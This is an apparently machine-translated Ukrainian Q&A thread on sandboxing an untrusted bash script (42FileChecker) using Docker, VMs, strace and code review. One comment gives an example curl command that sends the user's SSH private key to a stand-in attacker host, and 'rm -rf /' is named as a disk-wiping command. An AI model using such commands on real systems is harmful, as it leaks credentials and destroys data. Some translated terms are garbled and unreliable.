Як я можу перевірити скрипт оболонки в "безпечному середовищі", щоб уникнути шкоди моєму комп'ютеру?


29

Я хотів би встановити певний скрипт bash під назвою 42FileChecker за допомогою команд:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
    cd ~/42FileChecker &&
    bash ./42FileChecker.sh

Але я не знаю, чи 42FileChecker.sh зробить якісь дивні речі на моєму ПК, тому що я новачок і не знаю, що відбувається в цьому сценарії. Чи є спосіб запустити його у фіктивній терміналі чи корінній папці манекена чи щось подібне, щоб побачити, що відбувається, щоб уникнути чогось божевільного, як форматування моїх дисків. Я хотів би знати про будь-який спосіб тестування оболонок на майбутні сценарії оболонки, навіть якщо 42FileChecker.sh безпечний.


5
Оскільки це сценарій, ви можете його прочитати та прочитати manсторінки з команд, що містяться в ньому.
вальтінатор

1
Зауважте, що оскільки код розміщений на Git, ви можете прочитати джерело інструменту. Якщо перегляд коду - це не ваша річ, наступний найкращий вибір
якийсь

4
@waltinator Якщо ви стурбовані шкідливою поведінкою, а не просто ненавмисною поведінкою, читання чоловічих сторінок не допоможе.
Рей

1
@Ray, лише якщо команди, які виконуються, самі є зловмисними, тому їхні сторінки чоловіків приховуватимуть справжні наслідки. Я думаю , що waltinator мав в виду більш ймовірне разі злочинного використання стандартних команд, наприклад , chmod 777 -R ~або curl http://badsite.example.com/secret-grabber.php -d @"$HOME"/.ssh/id_rsaчи аналогічних.
Wildcard

1
Пов'язані . Ви можете протестувати сценарії, не ризикуючи нанести шкоду своєму комп’ютеру, і це навчить ваших колег закривати свої сеанси.
Ерік Думініл

Відповіді:


4

Я не експерт з цього питання, але я б рекомендував використовувати straceта docker.

Тому спочатку створіть контейнер Docker відповідно до інструкцій у цій відповіді . Але додаток, що ця напруга, підкаже вам, які системні дзвінки здійснюються. Або цитувати:

strace - це утиліта діагностики, налагодження та інструктивного користувацького простору для Linux. Він використовується для моніторингу та втручання взаємодії між процесами та ядром Linux, які включають системні виклики, доставку сигналів та зміни стану процесу.

Ви можете комбінувати ці команди до

docker exec -it ubuntu_container strace bash ./42FileChecker.sh

Таким чином, це буде проходити через кожен рядок скрипту (поетапно), а також робити все це всередині контейнера, а це означає, що всі команди не робитимуть абсолютно нічого в моїй системі, але запускаються як завжди. Я правильно це розумію?
ніколас

1
@nicholas так, контейнер docker - це окрема машина для вашого захисту, програма є пісочницею. Strace надасть вам усі операції, які програма виконує на цій машині, від відкриття файлів до налаштування мережевих з'єднань.
Томас

1
Так, саме це я шукав, Стрійс у поєднанні з Докером.
ніколас

42

Якщо ви не впевнені, що робить сценарій, вам краще не запустити його, поки ви не будете впевнені, що він робить. Способи зменшити радіус ураження поганого сценарію включають запуск його за допомогою нового користувача, запуск його в контейнері або запуск його у віртуальній машині. Але це перше твердження все-таки справедливо: Якщо ви не впевнені, що щось робить, подумайте, чи не виконувати його, поки не зробите.


6
З іншого боку, сценарії схожі на EULA: Так, ви повинні прочитати та зрозуміти кожен рядок, перш ніж продати свою душу, але чи не так?
Пітер - Відновіть Моніку

7
@ PeterA.Schneider, але EULA насправді нічого не робить, поки не буде прийнято до суду. Запуск сценарію негайно впливає на ваш комп'ютер. Справа не стільки в тому, щоб читати кожен рядок; мова йде більше про "Роздуми про довіру довіри" та знання та довіра джерела сценарію.
Wildcard

29

Як сказав @ctt, спочатку, мабуть, хороша ідея запустити його в пісочниці. Використання VM - це, мабуть, найпростіше рішення. Мультипас досить простий.

Встановіть мультипас (якщо ви цього ще не зробили):

sudo snap install multipass --beta --classic

Спініруйте новий VM:

multipass launch --name myvm

Увійдіть у свій новий VM:

multipass shell myvm

Потім запустіть свій скрипт (всередині вашого vm):

multipass@myvm:~$ git clone https://github.com/jgigault/42FileChecker ~/42FileChecker && cd ~/42FileChecker && bash ./42FileChecker.sh

38
Цей підхід не є безпечним. Після запуску сценарію в пісочниці, як ви збираєтесь сказати, чи це було безпечно? Це може мати шкідливі наслідки, про які ви не можете легко сказати. Зловмисне програмне забезпечення не обов'язково вискакує і каже "Ха-ха, тебе!". Також шкідливий скрипт може легко поводитися доброякісно, ​​перебуваючи в пісочниці або VM, а потім вести себе зловмисно на вашому реальному комп'ютері. (Наприклад, виявлення VM - це річ, як і машинне відбиття пальців.)
DW

12
Це чудовий момент. Якщо ви хочете перевірити скрипт на предмет шкідливих програм, це не ефективне рішення. Це спосіб перевірити функціональність, не забруднюючи вашу хост-систему.
Райан Дж. Йодер

Ви можете зробити повне порівняння з "контрольним" VM.
mckenzm

6
@mckenzm: Але якщо це зловмисне програмне забезпечення, цілком можливо, що він вирішив би нічого не робити, поки не знайде себе доступу до чогось, що виглядає соковитим.
Геннінг Макгольм

11

Оскільки школа, яку ви відвідуєте, опублікувала сценарії, найкраще висловити свої занепокоєння у ваших інструкторів.

Це означає, що ми можемо допомогти вам розшифрувати код по черзі. Кожен тут, мабуть, недоцільно аналізувати весь код.

Насправді у вас є 40 сценаріїв bash із загальною кількістю 5360 рядків. Я поєднав їх разом і шукав команди bash / shell, якими можна було б зловживати. Вони, як видається, використовуються нормально :

$ cat /tmp/sshellcheck.mrg | grep " rm "

      rm -rf "$RETURNPATH"/tmp/*
      rm -f "$RETURNPATH"/.mynorminette
    rm -f $LOGFILENAME
    rm -f $LOGFILENAME
      rm -f .mymoulitest
        rm -f "${RETURNPATH}/tmp/${FILEN}"

$ cat /tmp/sshellcheck.mrg | grep -i kill

  function check_kill_by_name
          kill $PROCESSID0
  declare -a CHK_MINISHELL_AUTHORIZED_FUNCS='(malloc free access open close read write opendir readdir closedir getcwd chdir stat lstat fstat fork execve wait waitpid wait3 wait4 signal kill exit main)'
        check_kill_by_name "${PROGNAME}"
      kill -0 "${CURRENT_CHILD_PROCESS_PID}" 2>/dev/null && kill "${CURRENT_CHILD_PROCESS_PID}" 2>/dev/null
      display_error "killed pid: ${CURRENT_CHILD_PROCESS_PID}"
    check_kill_by_name "$PROGNAME $PROGARGS"
        check_kill_by_name "$PROGNAME $PROGARGS"
        kill ${PID} 2>/dev/null

$ cat /tmp/sshellcheck.mrg | grep -i root

      "check_configure_select ROOT" "Root folder:          /"\
      'ROOT')
        echo "'${ALLOWED_FILES}' must be placed at root folder but was found here:" >>"${LOGFILENAME}"
        printf "%s" "'${ALLOWED_FILES}' must be placed at root folder"

$ cat /tmp/sshellcheck.mrg | grep -i sudo

$ 
  • Немає rm -rf /команди протирати весь розділ жорсткого диска.
  • Немає жодної вимоги, яка sudoвикористовується для запуску сценарію.
  • Сценарій фактично гарантує C, що у перевірених файлах використовуються лише авторизовані функції.
  • Швидкий перегляд коду bash / shell показує, що це професійно написано та легко дотримуватися.
  • Використання оболонок на об'єднаних файлах включають лише три синтаксичні помилки.
  • Імена автора ідентифікуються, і головний автор навіть має свою картинку на своїй githubсторінці.
  • Хоча гарантій у житті немає, 42FileCheckerвидається безпечним у використанні.

Це не читабельні людські сценарії, про які потрібно так сильно переживати. Це компільовані бінарні об'єкти, які ви не можете прочитати, що викликають занепокоєння. Наприклад, програма під назвою "shiny-bouncy-сфера" може намалювати щось подібне на вашому екрані, але на задньому плані це може стерти всі ваші файли.


Оригінальна відповідь

Найкраще запитати автора сценарію, що він робить. Дійсно, ви можете майже розмістити своє запитання дослівно, як показано вище.

Також запитайте автора:

  • Які файли оновлюються?
  • Що станеться у випадку аварії через відключення живлення або помилку програми?
  • Чи можна виконати міні-резервне копіювання спочатку?

І будь-які інші хороші питання, які ви можете придумати.


Редагувати 1 - Турбує зловмисного автора.

Вам слід використовувати лише програмне забезпечення з великою кількістю хороших відгуків громадськості. Автори, яким ви довіряєте тут, запитуйте Ubuntu, як Сергій, Якоб, Колін Кінг тощо. Інші шановані сайти, такі як Ask Ubuntu та їх шановані члени, також слід вважати "нешкідливими".

Перевага "шанованих авторів" тут у Ask Ubuntu полягає в тому, що вони ставлять свою власну цінність на "репутаційні бали". Якби вони навмисно писали код, який "викрав" або "пошкодив" дані, вони швидко втратили б свою репутацію. Дійсно, автори можуть зазнати "гніву модників" і бути відстороненими та / або позбавленими 10 000 балів репутації.


Редагувати 2 - Не дотримуйтесь усіх інструкцій

Я глибше заглянув у ваші вказівки щодо скриптів bash:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
    cd ~/42FileChecker &&
    bash ./42FileChecker.sh

"Безпечний" метод полягає у запуску лише першого рядка:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker

Це завантажує сценарії, але не виконує їх. Наступне використання nautilus(файловий менеджер) для огляду встановлених каталогів та файлів. Дуже швидко ви виявите, що є колекція баш сценаріїв, написана групою студентів у Франції.

Призначення сценаріїв - складання та тестування програм C на предмет неправильних функцій та витоку пам'яті.


1
Я повинен так, але я думав про ситуації, коли автор може навмисно робити щось шкідливе.
ніколас

1
@nicholas Я відповів на ваш коментар, переглянувши відповідь.
WinEunuuchs2Unix

2
Я вивчаю C на курсі Ecole 42. Функції, які я створюю, потрібно запустити через цю перевірку норми. Мені потрібно встановити 42FileChecker в Ubuntu, щоб запустити цю перевірку норми. Напевно, я просто зараз повинен довіряти цьому сценарію, але мені потрібно було знати, як спершу зробити "безпечний запуск" сценарію, тому що я не такий великий у виконанні пошуку людей. Дякую за допомогу. Я просто запущу VM наступного разу.
ніколас

2
@nicholas Line 24 з ~/42FileChecker/includes/display/display_credits.shпраці Держави norminette є залежностях: norminette (42 born2code) http://www.42.fr. Я прочитав це вчора ввечері, і саме тому я написав, що у Франції школа (ecole) опублікувала 42FileChecker . З того, що я переглядав код до цього часу, я б не переймався його запуском. Крім того, у ньому є дуже мало синтаксичних помилок, про shellcheckякі повідомляється, що для сценарію bash 5,360 рядків дивно. У багатьох професійно опублікованих скриптах bash є безліч синтаксичних помилок.
WinEunuuchs2Unix

2
@nicholas З точки зору безпеки, використання середовища та сценаріїв для класу, мабуть, є найкращим підходом. Він також виключає можливість іншої поведінки, ніж офіційна версія курсу, що може стати несподіванкою під час включення. Ви впевнені, що немає віддаленого доступу до цієї машини, можливо, використовуючи послугу VPN або SSH з іншого комп'ютера, до якого ви можете віддалено отримати доступ?
трогнандри

5

Ви можете використовувати Docker. Контейнери Docker ізолюються від хост-операційної системи, тому будь-яка шкідлива діяльність залишатиметься в контейнері, доки ви спеціально не відпускаєте його, пересилаючи порти або монтуючи файлові системи.

Щоб встановити докер:

sudo apt-get install docker.io

Щоб завантажити новий контейнер Ubuntu Bionic:

docker pull ubuntu:bionic

Після цього увійдіть у контейнер

docker run -it ubuntu:bionic

і виконайте операцію хитрості в ньому:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker && cd ~/42FileChecker && bash ./42FileChecker.sh

1
Ще одна перевага Docker, яка може бути корисною для визначення того, що робить сценарій, - це те, що ви можете запустити, docker diffщоб переглянути, які зміни були внесені до файлової системи з моменту запуску контейнера. Недоліком використання Docker є те, що контейнер не є повною копією хост-системи. Зображення Ubuntu, яке ви згадуєте тут, містить лише мінімальну установку Ubuntu.
Martijn Heemels

2
Замість того , docker run ubuntuви повинні запустити дає інтерактивний термінал в контейнері і на самому справі працює , яку версію ви хочете замість значення за замовчуванням . docker run -it ubuntu:bionic-itbioniclatest
Martijn Heemels

Мені подобається ця відповідь найкраща з тих, що я бачив. Однак, схоже, що хитрий сценарій все-таки може зловживати вашою системою. Це може бути таємно видобуток біткойни і т.д. В ідеалі можна було б використовувати додаткові прапори , можливо --memory, --networkі можливо , інші насправді заблокувати сценарій.
Еморі

1
Якщо ви справді параноїк, комбінуйте цю відповідь з другою найкращою відповіддю. Запустіть докер всередині віртуальної машини і зафіксуйте все.
Еморі

3

Подумайте про використання режиму налагодження, запустивши сценарій як:

$ bash -x scriptname

Подальша корисна інформація про Bash

Режим налагодження не зупинить сценарій робити щось погано, але він дозволить вам пройти сценарій по черзі та вивчити ефекти. Ви також можете перевірити скрипт на наявність деяких поширених можливих помилок та / або подвигів, наприклад, пошукайте сценарії на предмет виникнення rmта перегляньте ці команди дуже уважно. Багато з цих інструментів мають деяку допомогу , побудовану протягом спроби їх, наприклад , фірма не буде видаляти каталог за замовчуванням, він потребує -r, -Rабо --recursiveможливості зробити це.

Можливо, навіть є якісь антивірусні інструменти, які б шукали баш скрипт для цих шаблонів, але я не знаю жодного за назвою. Ваші приклади сценарії - це щось зайве, але в тому сенсі, що вони завантажують інші інструменти, тому кожен з них також повинен бути вивчений. Перевірка серверів, на які вони контактують, також може бути вартим.


-x можна використовувати для налагодження (і я його використовую!), але це не дозволить вам переходити через сценарій рядок за рядком. Це дасть вам своєрідний "слід", оскільки він виконує сценарій на повній швидкості.
jrw32982 підтримує Моніку

2

Відповідна інформація для надання відповіді, на жаль, знаходиться лише у вашому коментарі:

Я вивчаю C на курсі Ecole 42. Функції, які я створюю, потрібно запустити через цю перевірку норми. Мені потрібно встановити 42FileChecker в Ubuntu, щоб запустити цю перевірку норми.

Тож ситуація така, що на практиці у вас є можливість пропустити курс, або ви можете запустити скрипт для виконання нормативних перевірок ваших джерел. Розмова з вашим інструктором навряд чи є можливою через відсутність колишньої (це не було б варіантом інакше, жодна школа не збирається змінювати свою процедуру, оскільки один учень не задоволений цим).
Тому питання, що робити для обмеження можливого збитку від цього сценарію, навіть не виникає. Це не випадковий сценарій, щоб озлоблена дівчина з великими грудьми надіслала вам електронну пошту, і вам потрібно бігти, щоб побачити її фотографію .
Ти робиш клас програмування. Цеде цей сценарій увійшов у гру. Питання полягає в тому, чи хочете ви виконати рамкові умови для успішного проходження курсу.

Однак, якщо ви по-справжньому переживаєте, все ще існує можливість запуску скрипту в контейнері або віртуальній машині та розміщення джерел у загальній папці або на загальній мережі, відкриті контейнером / віртуальною машиною. Це в значній мірі проходить повний шлях параної, але знову ж таки віртуалізація - це насправді не все так складно, так що це не коштує дуже багато.

Заборона маловірогідної можливості по-справжньому суворої експлуатації, що міститься в цьому скрипті, вхід у систему як будь-який некористувальний користувач (який у вас навряд чи інший вибір робити в Ubuntu) і уникання введення sudo без очевидних причин, в значній мірі заважає 99% всі погані речі, які в будь-якому випадку могли трапитися. Такі як форматування жорсткого диска, про який ви хвилюєтеся. Звичайний користувач просто не може цього зробити. Найгірше, що трапиться, це те, що сценарій стирає домашній каталог користувача. То що, не важливо, насправді.


Сподіваємось, ОП коментує тут, якщо sudoце потрібно для запуску сценарію. +1
WinEunuuchs2Unix

Уникнення sudoлише обмежує область випадкового видалення / форматування через помилок. Якщо скрипт був шкідливим чи експлуатованим, запуск sudoв одній користувацькій системі не має суттєвої різниці.
той інший хлопець

@ WinEunuuchs2Unix Я не думаю, що судо не потрібне. Я насправді не знаю насправді. Хоча я використовую sudo для команд влучної установки. Це означає, що мені потрібно використовувати його і для запуску сценарію?
ніколас

1
@nicholas У мене немає програм для компіляції та тестування, 42FileCheckerтому я не можу реально сказати sudo, потрібна вона чи ні. Сценарій bash не перевіряє наявність sudo і не дозволяє вам використовувати його. Тоді, здається, sudoце не потрібно. Ще раз я думаю, що просити вашого інструктора (вчителя) - це найкраща політика. Свою відповідь я оновив годину тому з невеликим аналізом сценарію. Зауважте, що ім'я " mynorminette" знову з'явилося в коді.
WinEunuuchs2Unix

1
@nicholas Я ставлю під сумнів, що деякі з інструкторів особисто знають нормінет, yyang42, alelievr, anisg, QuentinPerez, gabkk, patorjk та Жана-Мішеля Жиго, котрий все сприяв 42FileChecker. Я вірю, що розмова з викладачами полегшить ваш розум. Після кількох годин дослідження я маю віру в програмістів та їх творчість. Жан-Мішель Жиго навіть має своє зображення на github. Досить свідчить про впевненість у землі, де росте насіння жовтого жилета. Viva La France! (та Ecole 42 :)) Зробіть нам послугу та відвідайте, щоб оновити прогрес.
WinEunuuchs2Unix
Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.